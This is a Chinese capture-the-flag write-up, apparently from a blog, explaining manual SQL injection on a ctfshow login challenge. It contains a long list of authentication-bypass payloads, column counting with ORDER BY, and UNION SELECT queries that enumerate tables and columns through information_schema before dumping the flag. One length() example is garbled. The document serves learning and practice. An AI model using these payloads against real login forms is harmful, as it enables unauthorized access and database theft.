自己手工注入的知识比较薄弱,这里就记录一下注入过程
题目:
1.登陆页面,使用sql万能密码可以登陆账号,但是flag不会自己跳出来,出题人是想让我们手工注入
常用万能密码:
'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1
例子:
select name,pass from Admin where name='admin' and pass='123456'
使用' or 1=1#之后:
select name,pass from Admin where name='' or 1=1 #' and pass='123456'
这里的name单引号被闭合了,后面的or 1=1使得返回结果永远为真,而#号会将多余的东西注释掉,--+号也是同样的用法
2.猜字段,常用order by或者使用length(' or 1=1 length(database())=1#)
从1开始猜,如果所猜字段小于题目字段,返回正常;否则返回失败
猜到4的时候不再返回“欢迎你,ctfshow”,说明题目的字段是3
3.联合查询,查询表名
这里用不用limit都无所谓,顺便提一下:
select * from table limit 2,1;
//跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据
1 ' or 1=1 union select 1,table_name,3 from information_schema.tables#
查询到的所有表名:
注意到最后有一个叫做flag的表名,flag就在里面
4.联合查询,查询列名
' or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#
结果:
表flag里面只有一个列,名字也叫flag
5.直接获取flag
' or 1=1 union select 1,flag,3 from flag#
flag到手了
附(其他师傅的解题方法):个人觉得不用那么复杂
参考资料:
https://www.muzide.com/73.html
https://www.gaojiufeng.cn/?id=118
来源:https://www.cnblogs.com/echoDetected/p/12300861.html